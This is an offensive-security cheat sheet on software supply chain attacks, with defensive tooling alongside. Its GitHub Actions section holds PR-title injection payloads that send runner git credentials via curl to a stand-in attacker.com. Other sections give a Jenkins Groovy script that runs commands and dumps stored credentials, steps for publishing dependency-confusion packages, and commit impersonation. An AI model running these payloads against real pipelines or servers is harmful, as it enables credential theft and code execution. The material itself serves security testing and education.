Supply Chain Attacks

Overview

Supply chain attacks target the software development and delivery process, compromising dependencies, build systems, or distribution channels to inject malicious code into legitimate software.

Dependency Confusion

Concept

When an organization uses private packages with the same name available on public registries, attackers can upload malicious packages with higher version numbers to public registries.

Exploitation

# 1. Find private package names
# Look in package.json, requirements.txt, pom.xml, etc.
# Check JavaScript source for import statements
grep -r "require\|import" --include="*.js" .

# 2. Check if package exists on public registry
npm view private-package-name
pip index versions private-package-name

# 3. Create malicious package with higher version
# npm
npm init
# Set version higher than internal (e.g., 99.0.0)
npm publish

# pip
# Create setup.py with higher version
python setup.py sdist
twine upload dist/*

Detection

# Check for dependency confusion vulnerability
# https://github.com/visma-prodsec/confused
confused -l npm package.json

# https://github.com/AyoubAbeworworki/dep-confusion-detect
python3 dep-confusion-detect.py -r requirements.txt

Typosquatting

Concept

Registering package names similar to popular packages to catch typos.

Common Patterns

# Typo patterns to check:
# - Missing characters: reqests (requests)
# - Extra characters: requestss
# - Character swap: requetss
# - Similar looking: requestz, request5
# - Wrong TLD: lodash-npm (vs lodash)

# Generate typosquat candidates
# https://github.com/elfmaster/typosquatting
./typosquat.py express

# Check npm
for pkg in expres expresss exprss; do npm view $pkg 2>/dev/null && echo "EXISTS: $pkg"; done

# Check PyPI
for pkg in reqests requsets requets; do pip index versions $pkg 2>/dev/null && echo "EXISTS: $pkg"; done

Finding Vulnerable Packages

# Search for common typos in target's dependencies
# Look for:
# - Misspelled package names
# - Packages with low download counts
# - Recently published packages claiming to be popular

# NPM package analysis
npm audit
npm ls --all

# Python
pip-audit
safety check -r requirements.txt

# Snyk for comprehensive scanning
snyk test

CI/CD Pipeline Attacks

GitHub Actions Exploitation

# Vulnerable workflow - using untrusted input
name: Vulnerable Workflow
on:
  pull_request_target:
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.ref }}  # Dangerous!
      - run: |
          echo "PR Title: ${{ github.event.pull_request.title }}"  # Injection!

# Pwn Request - exploit pull_request_target
# Create PR with malicious title:
# $(curl http://attacker.com/$(cat /home/runner/.git/credentials | base64))

# Inject into workflow
# PR title: test"; curl http://attacker.com/pwned #

# Secrets exfiltration via workflow
# Add to PR body/title:
# ${{ secrets.GITHUB_TOKEN }}

GitLab CI Exploitation

# Check for exposed CI variables
# .gitlab-ci.yml
variables:
  DEBUG: "true"
  # Secrets might be exposed in logs

script:
  - echo $CI_JOB_TOKEN  # Can be used for registry access
  - env  # Dumps all variables including secrets

Jenkins Exploitation

# Check for exposed Jenkins instances
# Common endpoints:
/script
/scriptText
/computer/(master)/script

# Groovy console RCE
def cmd = "cat /etc/passwd"
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

# Credential dumping
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
    Jenkins.instance,
    null,
    null
)
for (c in creds) {
    println(c.id + ": " + c.username + " / " + c.password)
}

Package Repository Attacks

NPM

# Check package for malicious scripts
npm pack <package-name>
tar -xzf package-name-*.tgz
cat package/package.json | jq '.scripts'

# Look for suspicious install scripts:
# - preinstall, install, postinstall
# - preuninstall, uninstall, postuninstall

# Check package history
npm view <package-name> versions
npm view <package-name>@<version> dist.tarball

# Audit for known vulnerabilities
npm audit
npm audit --json

PyPI

# Download and inspect package
pip download <package-name> --no-deps
unzip <package>.whl -d extracted/

# Check setup.py for malicious code
cat extracted/setup.py

# Look for:
# - os.system(), subprocess calls
# - Encoded/obfuscated strings
# - Network requests during install
# - File system modifications

# Safety check
safety check -r requirements.txt
pip-audit

Maven/Gradle

<!-- Check pom.xml for suspicious plugins -->
<!-- Look for exec-maven-plugin, build-helper-maven-plugin with suspicious configs -->

<!-- Verify package signatures -->
<!-- Check .asc files against GPG keys -->

Third-Party Library Vulnerabilities

Discovery

# Software Composition Analysis (SCA)
# Snyk
snyk test

# OWASP Dependency-Check
dependency-check --project "MyApp" --scan .

# npm
npm audit

# pip
pip-audit
safety check

# Go
go list -json -m all | nancy sleuth

# Trivy (containers and filesystems)
trivy fs .
trivy image myapp:latest

Exploitation Research

# Check for known CVEs in dependencies
# https://nvd.nist.gov/
# https://security.snyk.io/
# https://github.com/advisories

# Search for PoCs
# GitHub: "CVE-XXXX-XXXX poc"
# Exploit-DB: searchsploit <library-name>

# Check dependency versions
npm ls
pip list
mvn dependency:tree

Source Code Repository Attacks

Exposed Credentials in Repositories

# Search for secrets in git history
# https://github.com/trufflesecurity/trufflehog
trufflehog git https://github.com/target/repo

# https://github.com/zricethezav/gitleaks
gitleaks detect -s /path/to/repo

# GitHub dorking
# Search for accidentally committed secrets
site:github.com "target.com" password
site:github.com "target.com" api_key
site:github.com "target.com" AWS_SECRET

Commit Signature Verification Bypass

# Check if repo requires signed commits
git log --show-signature

# Unsigned commits might be accepted
# Impersonate commits by setting user.email
git config user.email "[e-mail]"
git commit -m "Malicious commit"

Attack Vectors Summary

Vector	Target	Impact
Dependency Confusion	Private packages	Code execution
Typosquatting	Developers	Credential theft
CI/CD Injection	Build pipelines	Code execution, secrets
Malicious Packages	Package registries	Supply chain compromise
Compromised Maintainer	Open source projects	Backdoors
Build System Compromise	Build servers	Signed malware

Detection & Prevention

For Attackers (Testing)

# Check if org is vulnerable to dependency confusion
# 1. Enumerate private package names from leaked files
# 2. Check if those names are unclaimed on public registries
# 3. Report or (if in scope) demonstrate with benign package

# Check for exposed CI/CD
# GitHub Actions: /.github/workflows/
# GitLab CI: /.gitlab-ci.yml
# Jenkins: /Jenkinsfile

For Defenders

# Lock dependencies to specific versions
# Use lockfiles: package-lock.json, Pipfile.lock, go.sum

# Enable dependency scanning in CI/CD
# Use private registry with namespace reservation
# Implement Sigstore/cosign for package signing
# Enable GitHub secret scanning

Tools

# Dependency Confusion
# https://github.com/visma-prodsec/confused
confused -l npm package.json

# Secret Scanning
# https://github.com/trufflesecurity/trufflehog
trufflehog git https://github.com/target/repo

# https://github.com/zricethezav/gitleaks
gitleaks detect -s /path/to/repo

# Software Composition Analysis
# https://github.com/anchore/syft
syft /path/to/project

# https://github.com/anchore/grype
grype /path/to/project

# CI/CD Security
# https://github.com/Checkmarx/kics
kics scan -p /path/to/.github/workflows

Resources

• Dependency Confusion Research

• Backstabber's Knife Collection

• CI/CD Goat - Vulnerable Pipeline

• SLSA - Supply Chain Security Framework

• OWASP Top 10 CI/CD Security Risks